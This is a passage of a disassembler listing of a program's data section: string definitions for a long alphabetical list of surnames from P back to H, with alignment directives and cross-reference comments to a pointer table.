aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E6C4o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E6C0o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E6BCo
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E6B8o
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E6B4o
		align 10h
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E6B0o
		align 4
aPo		db 'Po',0               ; DATA XREF: ___:0042E6ACo
		align 10h
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E6A8o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E6A4o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E6A0o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E69Co
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E698o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E694o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E690o
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E68Co
		align 10h
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E688o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E684o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E680o
		align 10h
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E67Co
		align 4
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E678o
		align 4
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E674o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E670o
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E66Co
		align 4
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E668o
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E664o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E660o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E65Co
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E658o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E654o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E650o
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E64Co
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E648o
		align 10h
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E644o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E640o
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E63Co
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E638o
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E634o
		align 10h
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E630o
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E62Co
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E628o
		align 10h
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E624o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E620o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E61Co
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E618o
		align 10h
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E614o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E610o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E60Co
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E608o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E604o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E600o
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E5FCo
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E5F8o
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E5F4o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E5F0o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E5ECo
		align 10h
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E5E8o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E5E4o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E5E0o
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E5DCo
aOray		db 'Oray',0             ; DATA XREF: ___:0042E5D8o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E5D4o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E5D0o
aOman		db 'Oman',0             ; DATA XREF: ___:0042E5CCo
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E5C8o
		align 10h
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E5C4o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E5C0o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E5BCo
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E5B8o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E5B4o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E5B0o
		align 10h
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E5ACo
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E5A8o
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E5A4o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E5A0o
		align 10h
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E59Co
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E598o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E594o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E590o
		align 10h
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E58Co
		align 4
aNg		db 'Ng',0               ; DATA XREF: ___:0042E588o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E584o
		align 10h
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E580o
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E57Co
		align 10h
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E578o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E574o
		align 10h
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E570o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E56Co
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E568o
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E564o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E560o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E55Co
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E558o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E554o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E550o
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E54Co
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E548o
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E544o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E540o
		align 10h
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E53Co
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E538o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E534o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E530o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E52Co
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E528o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E524o
		align 10h
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E520o
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E51Co
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E518o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E514o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E510o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E50Co
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E508o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E504o
		align 10h
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E500o
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E4FCo
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E4F8o
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E4F4o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E4F0o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E4ECo
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E4E8o
aMini		db 'Mini',0             ; DATA XREF: ___:0042E4E4o
		align 10h
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E4E0o
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E4DCo
		align 10h
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E4D8o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E4D4o
		align 10h
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E4D0o
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E4CCo
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E4C8o
		align 10h
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E4C4o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E4C0o
		align 10h
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E4BCo
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E4B8o
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E4B4o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E4B0o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E4ACo
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E4A8o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E4A4o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E4A0o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E49Co
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E498o
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E494o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E490o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E48Co
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E488o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E484o
		align 10h
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E480o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E47Co
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E478o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E474o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E470o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E46Co
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E468o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E464o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E460o
		align 4
aMazzali	db 'Mazzali',0
aMay		db 'May',0
aMauzy		db 'Mauzy',0
		align 10h
aMattson	db 'Mattson',0
aMatsukata	db 'Matsukata',0
		align 4
aMatarazzo	db 'Matarazzo',0
		align 10h
aMatalka	db 'Matalka',0
aMass		db 'Mass',0
		align 10h
aMarubini	db 'Marubini',0
		align 4
aMarton		db 'Marton',0
		align 4
aMartochio	db 'Martochio',0
		align 10h
aMartinez	db 'Martinez',0
		align 4
aMarques	db 'Marques',0
aMargetts	db 'Margetts',0
		align 10h
aMargalit	db 'Margalit',0
		align 4
aMarcus		db 'Marcus',0
		align 4
aMarchbanks	db 'Marchbanks',0
		align 10h
aMarch		db 'March',0
		align 4
aMantovan	db 'Mantovan',0
		align 4
aManganiello	db 'Manganiello',0
aMandel		db 'Mandel',0
		align 4
aManalis	db 'Manalis',0
aMalova		db 'Malova',0
		align 4
aMaller		db 'Maller',0
		align 10h
aMalatesta	db 'Malatesta',0
		align 4
aMaisano	db 'Maisano',0
aMaineHershey	db 'Maine-Hershey',0
		align 4
aMaier		db 'Maier',0
		align 4
aMahony		db 'Mahony',0
		align 4
aMaggio		db 'Maggio',0
		align 4
aMadigan	db 'Madigan',0
aMacy		db 'Macy',0
		align 4
aMacmillan	db 'MacMillan',0
		align 4
aMackenney	db 'Mackenney',0
		align 4
aMacintyre	db 'Macintyre',0
		align 10h
aMaceachern	db 'Maceachern',0
		align 4
aMacdonald	db 'Macdonald',0
		align 4
aMaccormac	db 'Maccormac',0
		align 4
aMa		db 'Ma',0               ; DATA XREF: ___:0042E3C4o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E3C0o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E3BCo
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E3B8o
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E3B4o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E3B0o
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E3ACo
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E3A8o
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E3A4o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E3A0o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E39Co
		align 4
aLoza		db 'Loza',0             ; DATA XREF: ___:0042E398o
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042E394o
		align 10h
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042E390o
aLoss		db 'Loss',0             ; DATA XREF: ___:0042E38Co
		align 10h
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042E388o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042E384o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042E380o
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042E37Co
aLivi		db 'Livi',0             ; DATA XREF: ___:0042E378o
		align 10h
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042E374o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042E370o
		align 4
aLittle		db 'Little',0           ; DATA XREF: ___:0042E36Co
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042E368o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042E364o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042E360o
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042E35Co
aLine		db 'Line',0             ; DATA XREF: ___:0042E358o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: ___:0042E354o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: ___:0042E350o
		align 4
aLinares	db 'Linares',0          ; DATA XREF: ___:0042E34Co
aLim		db 'Lim',0              ; DATA XREF: ___:0042E348o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042E344o
		align 4
aLight		db 'Light',0            ; DATA XREF: ___:0042E340o
		align 4
aLiem		db 'Liem',0             ; DATA XREF: ___:0042E33Co
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042E338o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042E334o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042E330o
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042E32Co
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042E328o
		align 10h
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042E324o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042E320o
		align 10h
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042E31Co
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042E318o
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042E314o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042E310o
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042E30Co
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042E308o
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042E304o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042E300o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042E2FCo
		align 10h
aLandes		db 'Landes',0           ; DATA XREF: ___:0042E2F8o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042E2F4o
					; ___:0043294Co
		align 4
aLaing		db 'Laing',0            ; DATA XREF: ___:0042E2F0o
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042E2ECo
					; ___:off_4327E8o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042E2E8o
aLa		db 'La',0               ; DATA XREF: ___:0042E2E4o
		align 10h
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042E2E0o
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042E2DCo
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042E2D8o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042E2D4o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042E2D0o
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042E2CCo
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042E2C8o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042E2C4o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042E2C0o
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042E2BCo
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042E2B8o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042E2B4o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042E2B0o
		align 10h
aKool		db 'Kool',0             ; DATA XREF: ___:0042E2ACo
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042E2A8o
		align 10h
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042E2A4o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042E2A0o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042E29Co
		align 10h
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042E298o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042E294o
		align 10h
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042E290o
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042E28Co
		align 10h
aKlint		db 'Klint',0            ; DATA XREF: ___:0042E288o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042E284o
aKling		db 'Kling',0            ; DATA XREF: ___:0042E280o
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042E27Co
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042E278o
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042E274o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042E270o
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042E26Co
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042E268o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042E264o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042E260o
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042E25Co
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042E258o
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042E254o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042E250o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: ___:0042E24Co
		align 4
aKeul		db 'Keul',0             ; DATA XREF: ___:0042E248o
		align 4
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042E244o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042E240o
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042E23Co
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042E238o
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042E234o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042E230o
		align 4
aKeith		db 'Keith',0            ; DATA XREF: ___:0042E22Co
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042E228o
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042E224o
		align 4
aKee		db 'Kee',0              ; DATA XREF: ___:0042E220o
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042E21Co
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042E218o
		align 10h
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042E214o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042E210o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042E20Co
		align 10h
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042E208o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042E204o
		align 10h
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042E200o
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042E1FCo
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042E1F8o
		align 10h
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042E1F4o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042E1F0o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042E1ECo
		align 10h
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042E1E8o
aJulious	db 'Julious',0          ; DATA XREF: ___:0042E1E4o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042E1E0o
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042E1DCo
		align 10h
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042E1D8o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042E1D4o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: ___:0042E1D0o
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042E1CCo
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042E1C8o
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042E1C4o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042E1C0o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042E1BCo
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042E1B8o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042E1B4o
aJay		db 'Jay',0              ; DATA XREF: ___:0042E1B0o
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042E1ACo
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042E1A8o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042E1A4o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042E1A0o
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:0042E19Co
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042E198o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042E194o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042E190o
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042E18Co
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042E188o
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042E184o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042E180o
		align 10h
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042E17Co
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042E178o
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042E174o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042E170o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042E16Co
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042E168o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042E164o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042E160o
		align 10h
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042E15Co
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042E158o
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042E154o
		align 10h
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042E150o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042E14Co
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042E148o
		align 10h
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042E144o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0042E140o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042E13Co
aHoward		db 'Howard',0           ; DATA XREF: ___:0042E138o
		align 10h
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042E134o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042E130o
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042E12Co
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042E128o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042E124o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042E120o
		align 10h
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042E11Co
aHolway		db 'Holway',0           ; DATA XREF: ___:0042E118o
		align 10h
aHolter		db 'Holter',0           ; DATA XREF: ___:0042E114o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042E110o
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042E10Co
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042E108o
		align 10h
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042E104o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042E100o
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042E0FCo
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:0042E0F8o
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042E0F4o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042E0F0o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042E0ECo
		align 10h
aHind		db 'Hind',0             ; DATA XREF: ___:0042E0E8o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042E0E4o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042E0E0o
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042E0DCo
aHester		db 'Hester',0           ; DATA XREF: ___:0042E0D8o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042E0D4o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042E0D0o
		align 10h
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042E0CCo
		align 4
aHenery		db 'Henery',0           ; DATA XREF: ___:0042E0C8o
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042E0C4o
		align 10h
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042E0C0o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042E0BCo
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042E0B8o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042E0B4o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042E0B0o
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042E0ACo
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042E0A8o
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042E0A4o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042E0A0o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042E09Co
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042E098o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042E094o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042E090o
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042E08Co
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042E088o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042E084o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042E080o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042E07Co
		align 10h
